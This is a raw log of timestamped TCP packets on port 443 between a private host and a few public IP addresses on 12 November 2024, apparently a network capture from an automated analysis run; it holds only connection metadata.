Nov 12, 2024 10:37:12.968528032 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.968539000 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.968574047 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.986489058 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.998444080 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.998501062 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.998511076 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.998519897 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.998560905 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.998589993 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.998598099 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.998605967 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.998645067 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.998661995 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.998739004 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:13.029567003 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.070854902 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:13.070872068 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.076742887 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.076805115 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:13.076816082 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.087692022 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.087774992 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:13.087783098 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.105632067 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.105731964 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:13.105740070 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.117520094 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.117563009 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.117600918 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:13.117600918 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.117613077 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.117651939 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:13.117831945 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.117872000 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:13.117877007 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.117887974 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.117928028 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:13.118346930 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.118566990 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.118613958 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:13.119009972 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:13.119026899 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:13.240869045 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.240899086 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.646536112 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.647073984 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.647098064 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.647519112 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.647524118 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.653395891 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.653943062 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.653975010 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.654354095 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.654360056 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.680789948 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.681413889 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.681433916 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.682142019 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.682147026 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.698020935 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.698529005 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.698544979 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.698976994 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.698982000 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.708477974 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.708941936 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.708972931 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.709362984 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.709368944 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.774624109 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.775182009 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.775269032 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.775302887 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.775327921 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.775341988 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.775351048 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.778050900 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.778091908 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.778213024 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.778331041 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.778342962 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.780903101 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.781456947 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.781517029 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.781560898 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.781578064 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.781591892 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.781596899 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.783399105 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.783428907 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.783499956 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.783607960 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.783618927 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.810754061 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.810839891 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.810976982 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.812381983 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.812381983 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.812402010 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.812412977 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.817023993 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.817054987 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.817152023 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.821850061 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.821865082 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.829166889 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.829267025 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.829466105 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.833524942 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.833538055 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.833717108 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.833723068 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.836065054 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.836092949 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.836160898 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.836324930 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.836333036 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.843519926 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.843686104 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.843741894 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.843781948 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.843781948 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.843796968 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.843806982 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.846084118 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.846142054 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:13.846194983 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.846324921 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:13.846342087 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.502087116 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.502743959 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.502763033 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.503200054 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.503204107 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.516321898 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.517167091 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.517182112 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.517608881 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.517613888 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.556143999 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.557068110 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.557081938 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.557521105 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.557533026 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.562441111 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.562758923 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.562772036 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.563141108 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.563144922 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.572767973 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.573162079 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.573184013 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.573563099 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.573566914 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.639883995 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.639945030 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.640165091 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.640191078 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.640203953 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.640213966 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.640218019 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.642844915 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.642884016 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.642951012 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.643078089 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.643095016 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.645658016 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.645735979 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.645792007 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.645905972 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.645927906 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.645945072 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.645950079 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.647870064 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.647903919 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.649296045 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.649413109 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.649424076 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.684015989 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.684075117 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.684128046 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.684417009 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.684438944 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.684456110 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.684462070 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.686814070 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.686837912 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.686904907 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.687016010 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.687031984 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.694339037 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.694399118 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.694458961 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.694632053 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.694642067 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.694652081 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.694655895 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.697448969 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.697482109 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.701771975 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.701889992 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.701903105 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.702150106 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.704063892 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.704591990 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.704626083 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.704634905 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.704658985 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.704667091 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.706304073 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.706321001 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:14.706372976 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.706480980 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:14.706492901 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.323438883 CET	49752	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:15.323472977 CET	443	49752	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:15.323545933 CET	49752	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:15.323797941 CET	49752	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:15.323807001 CET	443	49752	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:15.381182909 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.381838083 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.381855011 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.382278919 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.382283926 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.410492897 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.410931110 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.410962105 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.411375046 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.411380053 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.417165041 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.417623043 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.417634964 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.418070078 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.418075085 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.443881035 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.444407940 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.444432974 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.444987059 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.444993019 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.455898046 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.456351995 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.456372976 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.456759930 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.456765890 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.514738083 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.514802933 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.514868021 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.515042067 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.515057087 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.515085936 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.515091896 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.518477917 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.518522978 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.518624067 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.518754959 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.518767118 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.547929049 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.548002958 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.548058987 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.548192024 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.548208952 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.548219919 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.548224926 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.548609018 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.549061060 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.549137115 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.549669027 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.549673080 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.549690962 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.549694061 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.550604105 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.550640106 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.550709963 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.559133053 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.559144974 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.559207916 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.559302092 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.559319973 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.559758902 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.559768915 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.573307991 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.573400974 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.573451042 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.573538065 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.573550940 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.573560953 CET	49748	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.573565960 CET	443	49748	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.576610088 CET	49757	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.576642036 CET	443	49757	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.576708078 CET	49757	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.576859951 CET	49757	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.576873064 CET	443	49757	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.588084936 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.588148117 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.588207006 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.590467930 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.590467930 CET	49749	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.590481043 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.590491056 CET	443	49749	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.593902111 CET	49759	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.593913078 CET	443	49759	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.593965054 CET	49759	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.594144106 CET	49759	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:15.594155073 CET	443	49759	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:15.640383959 CET	49761	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:15.640404940 CET	443	49761	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:15.640472889 CET	49761	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:15.642585039 CET	49761	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:15.642595053 CET	443	49761	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:16.170814037 CET	443	49752	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:16.171118975 CET	49752	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:16.171133995 CET	443	49752	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:16.172038078 CET	443	49752	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:16.172099113 CET	49752	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:16.172554970 CET	49752	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:16.172605038 CET	443	49752	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:16.212486029 CET	49752	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:16.212492943 CET	443	49752	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:16.255387068 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.256227016 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.256258011 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.256791115 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.256797075 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.260929108 CET	49752	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:16.299465895 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.302905083 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.302922964 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.303739071 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.303745031 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.305640936 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.307058096 CET	443	49757	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.307785988 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.307806969 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.308180094 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.308185101 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.308959007 CET	49757	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.308989048 CET	443	49757	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.309736967 CET	49757	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.309743881 CET	443	49757	13.107.246.45	192.168.2.6
